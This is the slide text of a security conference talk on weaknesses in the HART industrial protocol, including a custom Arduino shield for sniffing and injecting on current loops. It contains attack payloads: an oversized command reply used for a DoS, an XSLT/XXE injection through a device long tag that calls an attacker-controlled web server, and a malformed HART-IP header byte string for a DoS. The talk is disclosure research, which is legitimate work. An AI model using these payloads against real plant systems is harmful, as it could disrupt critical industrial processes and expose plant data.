HART (IN)SECURITY:
How one transmitter can compromise whole plant.

by
Alexander Bolshev
&&
Alexander Malinovskiy
; cat /dev/user
dark_k3y

Alexander Bolshev aka @dark_k3y

- Senior IS auditor @ Digital Security/ERPScan
- Ph.D.
- Distributed Systems researcher
- Yet another man wearing “some-color-hat”
; cat /dev/user
Weedle

Alexander Malinovskiy aka Weedle

• Test Engineer @ Motorolla Solutions
• Self-educated electronics engineer
• AVR fanatic
• “Yet another random person at conference”
So, WTF is HART?

• Highway Addressable Remote Transducer Protocol
• Industrial protocol.
• Developed by Rosemount in mid-1980s.
• Supported by Hart Communication Foundation
• Different physical layers: Current Loop, Wireless (802.15.4), RS-485, HART-over-IP.
• Mainly used for communicating between software/PLC and RTUs (originally transmitters)
• Mostly used on power plants, chemical factories, oil & gas industry
Why research HART?

• Interesting physical level (current loop).
• Used in high importance industries (plants, factories, wells e.t.c.)
• Current loop line length can reach up to 3km => possible physical security problem.
• Official specifications minimum cost is 975$+.
• Hart protocol: Simple. Reliable. Secure. © Hart Communication Foundation – can you resist of hacking when you hear something like this? :)

HART devices

- RTUs
  - Transmitters (temperature, pressure, etc)
- I/O devices
- PLC modules
- Gateways
- Modems
- Communicators
HART Software

• SCADA

• OPC Servers (OLE for process control)

• PAS (Plant Asset management Software)

• MES (and even ERP!) integration components.
Typical HART infrastructure
HART: more closer look

<table>
<thead>
<tr>
<th>OSI Layer</th>
<th>HART</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>Application Hart commands</td>
</tr>
<tr>
<td>2</td>
<td>Datalink  Binary, Master/Slave protocol with CRC</td>
</tr>
<tr>
<td>1</td>
<td>Physical  FSK via Copper wiring, Wireless, RS-485, Hart-IP</td>
</tr>
</tbody>
</table>

Physical layers:

- FSK (Copper wiring, 4-20mA current loop):
  - point-to-point mode (analog/digital)
  - multidrop mode (digital)
- Wireless HART (over 802.14.5)
- HART-over-IP (TCP, UDP)
- RS-485 Hart gateways
HART over Current Loop

Frequency-shift-scaling (FSK)
Example FSK transmission
HART FSK connection types (1)

Source wiring (change polarity for sink)
HART FSK connection types (2)

- HART Communicator
- RTU
- RTUs
- Isolated wiring
- + 24V
- -
- 2500Ohm
- External Hardware
HART packet structure

- Every packet started with 0xff...0xff preamble
- Two packet types: short and expanded
- Two address type: polling and unique
- Three frame types:
  - Burst frame (BACK, 1)
  - Master to field device (STX, 2)
  - Field Device to master (ACK, 6)
- Check byte: XOR of all bytes
HART commands

- Command 0: read unique identifier.
- Command 1: read primary variable
- Command 7: read loop configuration
- Command 12: read message
- Command 13: read tag, descriptor date
- Command 17: write message
- Command 18: write tag, descriptor date
- Command 20: write long tag....

Dozens command to experiment and fuzz!
Problem: how to sniff/inject?

- Need stable solution for sniffing and injecting current loop.
- Demoboards are too low-power.
- Modems are too noisy.
- Will be cool have extension for some existing tools/technologies.

We decided to build custom HART shield for *duino
HART Modem Eval boards

AD5700

DS8500

A5191HRT
HART Modem ICs

AD5700

NCR20C12

DS8500
Problems

• Most ICs have TQFN(or smaller) layout.
• NCR20C12 (DIP) is stucked somewhere in Russian post.
• A5191HRT eval board is BLOCKED by Russian customs.
• No public specifications available.
• Small number of available transmitters/modems/etc.
First try
More problems

• AD5700 outputs crap on UART pins
• Can’t inject packets in loop, because output signal is too weak.
• pyserial incorrectly works with RTS(DTR) serial pin
• dark_k3y burned 2 USB-UART and 1 COM-UART
• At last, we burned our AD5700 demo board.
Successful prototype
Much more problems (PCB)

• Time is running up!!!
• Amplifiers need perfect grounding/No soldering mask.
• MAX4041 blocked by OUTGOING customs in USA
• Weedle overetched several PCBs.
  • Finally, dark_k3y incorrectly connect second amp pins.
• Finally, dark_k3y bricked his arduino.
PCB
HART Shield for *duino Alfa v.0.1
Now we could try something evil...
INOR MePro 2.12.0 DoS

Hart command 0 reply with 0 in length and >250 ‘A’. (smashing maximum packet length)
Something different: Plant Assets management Software

- Plant Assets management Software – provides tools for managing plants assets.
- There are PAS solutions for managing RTUs and PLCs.
- Most popular solutions: FieldCare and PACTWare.
- Most of solutions based on FDT/DTM standard.
- FDT standardizes the communication and configuration interface between all field devices and host systems.
- The DTM provides a unified structure for accessing device parameters, configuring and operating the devices, and diagnosing problems.
- DTM can be also used for OPC & SCADA.
Quick intro to FDT/DTM

PAS

COM Container

Frame Application

DeviceDTM

CommDTM

COM Components

HART modem

Transmitters & I/O

Current Loop
FieldCare screenshot
FDT/DTM internals

*picture from official FDT/DTM specification*
XML makes all us happy

So, we FDT/DTM users XML for internal communications between DTMs and Frame application.

Can we use XML for something evil? For example let’s try to use some special symbols as HART device tag.
Love such messages
Can we use it?

- HART device tag cannot be longer than 8 bytes (6 packed ASCII) and should be only Upper-cased.
- We need something longer for exploiting XML exchange.
- HART long device tag can be up to 32 ASCII characters.
- So, we only need to find DTM component that using Long Tag for device identification (instead of short tag).

And we found such component made by VERY BIG Vendor!
HART Long Tag commands

• Universal commands list.
• Supported by most of devices.
• Read tag/write tag.
• Maximum 32 ISO LATIN-1 characters.
XSLT injection

• Good news: We can inject some XML code.
• Bad news: We can’t access the beginning of XML document and we have only 32 bytes.
• Good news: Parser supports XSLT, so we can inject external XSLT link:

```
xmllns="x-schema:http://pc`
```
It works!
XSLT -&gt; XXE

- Ok, it works, now we can start web server, that returns specially crafted XSLT, that will provide us an XXE:

```xml
<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE [ [ <!ELEMENT Ent ANY> ] ]>
<Ent>&xxe;</Ent>
```

C:\Tools>python simplehttp.py
Serving HTTP on 0.0.0.0 port 80 ...
Finally, XXE
XXE through HART

1. Long tag change packet with `xmlns="x-schema:http://q123.ru"`

2. HART transmitter

3. XML data

4. Request for XSLT

5. XXE

Evil web server

Internet

PAS Web (e.g. condition monitoring)/MES

HACKER
And yes, Japan vector works!

So, we have useful XXE through Current Loop!
Note 1:
Short domain name isn't a problem
Note 2: FieldCare itself is NOT vulnerable

You need vulnerable DTM component to make XXE
More fun: HART over IP

• HART can work over TCP or over UDP (port 5094 or 20004/20003)
• No authentication required at all!
• First, client (e.g. OPC) and server (e.g. transmitter) establishes a communication.
• After it HART commands and answers can be directly sent in packets with HART-IP header.
HART OPC Server
Yet another DoS

Craft a packet with bad HART-IP header:

```
hartip = '\x41\x01\x00\x00\x02' + '\x0000'
```

Yet another DoS, but DoS for industrial can be critical.
Tools used

• Bus pirate

• DSO Nano and DSO quad oscilloscopes.

• Fluke 115 multimeter

• Self-made tools by Weedle

• Arduino Leonardo and clones.

• Various USB UART boards
Conclusions

• HART isn’t so secure as it has been told. Sniffing and injecting in current loop is possible.

• Every skilled electric engineer/hardware hacker can create HART devices with ease.

• Thus, physical security is the ToDo item No.1 when planning HART infrastructure.

• HART-IP protocol needs deep redesign for making it more secure and reliable.
Links

• HART Shield Circuit and PCB (Eagle): https://github.com/Darkkey/hrtshield

• Find and order PCB: http://oshpark.com/shared_projects/0xswSCbm

• Python scripts and sketches for *duino: https://github.com/Darkkey/hartinsecurity
Thanksgiving service

• Alexander Polyakov (sh2kerr) for possibility of making this research.
• Fedor Savelyev and Grigoriy Savelyev for consultations in amplifiers graduating.
• Svetlana Cherkasova for some binary magic.
• Konstantin Karpov (QweR) for helping with delivering HART devices.
• Maxim Integrated for great ICs and support.
• electronics.stackexchange.com guys for answering many stupid questions
• Richard Bord for background image.
Thanks for listening!
Any Q?

@erpscan
@dark_k3y